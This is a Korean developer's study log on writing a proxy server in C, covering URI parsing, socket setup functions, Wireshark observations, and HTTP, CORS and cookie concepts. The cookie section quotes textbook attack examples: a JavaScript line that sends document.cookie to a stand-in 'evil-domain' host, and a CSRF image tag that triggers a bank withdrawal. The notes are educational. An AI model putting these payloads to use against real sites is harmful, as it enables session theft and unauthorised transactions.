08:09 입실
병렬 프록시 구현해 보기
네트워크 기본 개념 다시 정리
넘어오는 데이터: http://000.000.000.000:80/path/path
인데 80인 경우에는 포트 생략됨.
이렇게 단순히 시작 포인터를 옮겨주면 문자열의 시작 부분이 달라져서 앞 부분 슬라이싱의 효과가 있다!
if (strncmp(uri, "http://", 7) == 0)
{
uri += 7;
}
이 방식을 따르면 포인터만 알면 의외로 문자 슬라이싱이 간단해지는 효과?!
이 방법으로 패스 부분도 슬라이싱 하는 거 성공!
/* path 추출 */
char *path_index = strchr(uri, '/');
if (path_index)
{
strcpy(path, path_index);
printf("%s\n", path);
}
네트워크에서 프록시 켜서 브라우저로 접속했을 때랑 프록시 껐을 때랑 테스트 모두 성공!
근데 문제는 드라이버 테스트에서 0점이다. -_-?
이제 그거 고쳐보자..
void parse_uri(char *uri, char *hostname, char *port, char *path)
{
strcpy(hostname, "");
strcpy(port, "80");
strcpy(path, "");
/* http:// 삭제 */
if (strncmp(uri, "http://", 7) == 0)
{
uri += 7;
}
/* path 추출 */
char *path_index = strchr(uri, '/');
if (path_index)
{
strcpy(path, path_index);
printf("path: %s\n", path);
}
/* 포트 + 호스트 추출 */
char *port_index = strchr(uri, ':');
if (port_index)
{
*path_index = '\0';
strcpy(port, port_index);
printf("port: %s\n", port);
*port_index = '\0';
strcpy(hostname, uri);
printf("host: %s\n", hostname);
}
else
{
*path_index = '\0';
strcpy(hostname, uri);
printf("host: %s\n", hostname);
}
}
:80
포트는 생략되어서 상관없는데, 만약 포트가 다른 번호로 열리면 :
다음 부분부터 포트인데 지금은 :
도 포트에 넣고 있음.
/* 수정 전 */
*path_index = '\0';
strcpy(port, port_index);
printf("port: %s\n", port);
/* 수정 후 */
*path_index = '\0';
strcpy(port, port_index + 1);
printf("port: %s\n", port);
이거 하나 고치니까 40점 됐다!
소켓 관련 함수 연구해보기!
이 코드는 hints 구조체를 바탕으로 호스트네임과 포트를 조합해서 특정 서버와 통신할 수 있는 여러 개의 소켓 주소를 만들고, 이 소켓 주소들을 반복하면서 연결을 시도한다.
서버 측 호스트네임에 여러 아이피가 매핑되어 있을 수 있으니까, 그런 걸 다 조합해서 다양한 소켓 주소를 생성하고 접속을 시도한다.
소켓 생성이 성공하면 클라이언트 소켓 디스크립터를 반환하고 실패하면 생성한 소켓을 닫는다.
int open_clientfd(char *hostname, char *port) { /* 호스트와 포트 소켓 주소로 서버와 연결할 수 있는 클라이언트 소켓 생성 */
int clientfd, rc; /* 소켓 디스크립터, 리턴 코드 */
struct addrinfo hints, *listp, *p; /* 주소 힌트, 리스트 포인터, 그냥 포인터 */
/* 힌트란 호스트와 포트를 어떻게 해석할지, 어떤 종류 주소 정보 반환할지 지정*/
memset(&hints, 0, sizeof(struct addrinfo)); /* hints 구조체 초기화 */
hints.ai_socktype = SOCK_STREAM; /* TCP 소켓으로 설정 */
hints.ai_flags = AI_NUMERICSERV; /* 숫자형식의 포트를 씀 */
hints.ai_flags |= AI_ADDRCONFIG; /* 플래그 추가 옵션 */
/* 호스트 이름과 포트 번호로 소켓 주소 정보 얻음 */
if ((rc = getaddrinfo(hostname, port, &hints, &listp)) != 0) {
fprintf(stderr, "getaddrinfo failed (%s:%s): %s\n", hostname, port, gai_strerror(rc));
return -2;
}
/* 주소 정보 목록 순회 */
for (p = listp; p; p = p->ai_next) {
/* 소켓 생성 실패 시 다시 시도 */
if ((clientfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0)
continue;
/* 소켓 생성 성공 시 반복문 탈출*/
if (connect(clientfd, p->ai_addr, p->ai_addrlen) != -1)
break;
/* 생성 후 소켓 연결 실패 시 소켓 닫기*/
if (close(clientfd) < 0) {
fprintf(stderr, "open_clientfd: close failed: %s\n", strerror(errno));
return -1;
}
}
/* 목록 메모리 해제 */
freeaddrinfo(listp);
if (!p) /* 모든 주소 정보 연결 실패 */
return -1;
else /* 클라이언트 소켓 디스크립터 반환 */
return clientfd;
}
이 함수는 클라이언트측에서 오는 요청을 무조건 기다린다.
그래서 포트만 열고 기다리면 된다.
int open_listenfd(char *port)
{
struct addrinfo hints, *listp, *p;
int listenfd, rc, optval=1; /* optval은 옵션 코드 */
memset(&hints, 0, sizeof(struct addrinfo));
hints.ai_socktype = SOCK_STREAM; /* TCP 소켓 */
hints.ai_flags = AI_PASSIVE | AI_ADDRCONFIG; /* ... 주소를 서버 소켓으로 설정하는 플래그 */
hints.ai_flags |= AI_NUMERICSERV; /* 숫자 형식의 포트 사용 */
/* 로컬호스트와 포트로 소켓 주소를 생성한다. */
if ((rc = getaddrinfo(NULL, port, &hints, &listp)) != 0) {
/* 소켓 주소 생성에 실패하면 실패 메시지 출력한다. */
fprintf(stderr, "getaddrinfo failed (port %s): %s\n", port, gai_strerror(rc));
return -2;
}
/* 주소 리스트를 순회한다. */
for (p = listp; p; p = p->ai_next) {
/* 소켓 생성 실패하면 다음 주소를 살펴본다. */
if ((listenfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0)
continue;
/* 소켓 옵션 설정 */
setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (const void *)&optval , sizeof(int));
/* 생성한 소켓 디스크립터를 소켓 주소에 결합 */
if (bind(listenfd, p->ai_addr, p->ai_addrlen) == 0)
break; /* 성공하면 반복문 탈출 */
if (close(listenfd) < 0) { /* 바인드 실패하면에러 출력 후 다시 종료 */
fprintf(stderr, "open_listenfd close failed: %s\n", strerror(errno));
return -1;
}
}
/* 리스트를 해제하고 더 이상 남는 주소가 없으면 종료 */
freeaddrinfo(listp);
if (!p)
return -1;
/* 듣기 소켓을 리슨 상태로 만들고, 문제 없으면 듣기 소켓 디스크립터를 반환 */
if (listen(listenfd, LISTENQ) < 0) {
close(listenfd);
return -1;
}
return listenfd;
}
서버 측에서는 어차피 로컬 호스트인데 여러 개의 소켓 주소를 생성할 수 있나?
예를 들어 이런 식으로 생성IP 주소: 127.0.0.1 (로컬 호스트), 포트: 8080 IP 주소: ::1 (로컬 호스트의 IPv6 주소), 포트: 8080
socket()에 의해 생성된 소켓을 그냥 생성만 된 것, 초기화만 된 거고 읽거나 쓸 수 있는 상태가 아니다.
connect()를 통해서 서버 소켓과 연결하거나(클라이언트에서 소켓을 오픈하는 과정),
bind()를 통해 소켓 주소를 연결해주거나(여기서부터 서버측에서 소켓 오픈하는 과정),
listen()을 통해 듣기 상태로 변경하거나,
accept()를 통해 연결 소켓으로 연결해주어야 한다.
3way handshake, TCP, Packet 같은 걸로 네트워크 하는 건 추상적으로 이해했음. 근데 이게 진짜 어떤 모습의 패킷으로 왔다갔다 하는지 궁금했는데 와이어샤크로 패킷을 분석할 수 있다고해서 설치 후 실행해봄.
근데 정말 공부했던 내용의 데이터가 왔다 갔다 하는 걸 볼 수 있었음!!
192.168.0.1은 공유기인 것 같음.
그게 내 아이피인 34에게 ARP 요청을 보내고,
34 호스트가 MAC 주소를 reply하는 것을 목격함!
6주차 끝나기 전에 HTTP 헷갈렸던 개념들 정리해 봄.
Cross Origin Resouce Sharing
교차 출처 리소스 공유
HTTP헤더를 사용하여,
한 출처에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제
CORS는 브라우저 정책이다! 즉 브라우저가 아닌 포스트맨 같은 걸로 요청하면 CORS가 적용되지 않는다!
CORS를 이해하려면 SOP를 알아야 한다.
SOP는 동일한 출처에서만 리소스를 공유하는 브라우저 정책이다.
즉, CORS는 교차 출처를 막는 게 아니고 교차 출처를 허용하는 정책이다.
프로토콜 + 도메인 + 포트
까지가 출처
서버에서 CORS 허용 리스트에 요청 출처를 넣어주거나,
전체를 다 허용하면 된다.
요청
GET /mypage.html
응답
<html>
A very simple HTML page
</html>
요청 & 응답
GET /mypage.html HTTP/1.0
User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
200 OK
Date: Tue, 15 Nov 1994 08:12:31 GMT
Server: CERN/3.0 libwww/2.17
Content-Type: text/html
<HTML>
A page with an image
<IMG SRC="/myimage.gif">
</HTML>
요청 & 응답
GET /myimage.gif HTTP/1.0
User-Agent: NCSA_Mosaic/2.0 (Windows 3.1)
200 OK
Date: Tue, 15 Nov 1994 08:12:32 GMT
Server: CERN/3.0 libwww/2.17
Content-Type: text/gif
(image content)
GET /en-US/docs/Glossary/Simple_header HTTP/1.1
Host: developer.mozilla.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Type: text/html; charset=utf-8
Date: Wed, 20 Jul 2016 10:55:30 GMT
Etag: "547fa7e369ef56031dd3bff2ace9fc0832eb251a"
Keep-Alive: timeout=5, max=1000
Last-Modified: Tue, 19 Jul 2016 00:59:33 GMT
Server: Apache
Transfer-Encoding: chunked
Vary: Cookie, Accept-Encoding
(content)
GET /static/img/header-background.png HTTP/1.1
Host: developer.mozilla.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://developer.mozilla.org/en-US/docs/Glossary/Simple_header
200 OK
Age: 9578461
Cache-Control: public, max-age=315360000
Connection: keep-alive
Content-Length: 3077
Content-Type: image/png
Date: Thu, 31 Mar 2016 13:34:46 GMT
Last-Modified: Wed, 21 Oct 2015 18:27:50 GMT
Server: Apache
(image content of 3077 bytes)
내가 생각하는 주요 특징!
HTTP/0.9 -> HTTP/1.0 : 헤더가 생김
HTTP/1.0 -> HTTP/1.1 : 호트스가 생김
HTTP/1.1 -> HTTP/2 : 텍스트 프로토콜이 아닌 이진 프로토콜
HTTP/2 -> HTTP/3 : TCP가 아닌 QUIC 프로토콜 사용
HTTP는 메시지로 통신한다.
메시지는 다음과 같이 구성되어 있다.
시작줄과 헤더를 요청 헤드(head)라고 하고,
페이로드를 본문(body)라고 함.
서버가 사용자의 웹 브라우저에 전송하는 작은 데이터 조각
브라우저는 동일 서버 재 요청 시 저장된 데이터를 함께 전송
쿠키는 두 요청이 동일 브라우저에서 온건지 아닌지를 판별(대표적으로 로그인 상태 유지)
모든 요청마다 쿠키가 함께 전송된다. 성능 저하 원인
서버 응답 시 Set-Cookie 헤더 전송
HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry
[page content]
그 후 동일 서버 요청 시 쿠키를 자동으로 함께 보냄.
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
Secure
는 HTTPS 에서만 쿠키 전송
HttpOnly는 클라이언트에서 자바스크립트로 쿠키 제어 불가
document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);
// logs "yummy_cookie=choco; tasty_cookie=strawberry"
new Image().src =
"http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
쿠키가 자동으로 전송되는 점 착안
<img
src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />
리소스에 대한 양방향 연결 시도
OPTIONS /index.html HTTP/1.1
OPTIONS * HTTP/1.1
HTTP/1.1 200 No Content
Allow: OPTIONS, GET, HEAD, POST
Cache-Control: max-age=604800
Date: Thu, 13 Oct 2016 11:45:00 GMT
Server: EOS (lax004/2813)
클라이언트-서버 루프백테스트
해당 요청을 그대로 응답
TRACE /path/to/resource HTTP/1.1
Host: example.com
>>>>>>>>>>
HTTP/1.1 200 OK
Date: Tue, 22 Nov 2023 12:00:00 GMT
Server: ExampleServer/1.0
Content-Type: message/http
TRACE /path/to/resource HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive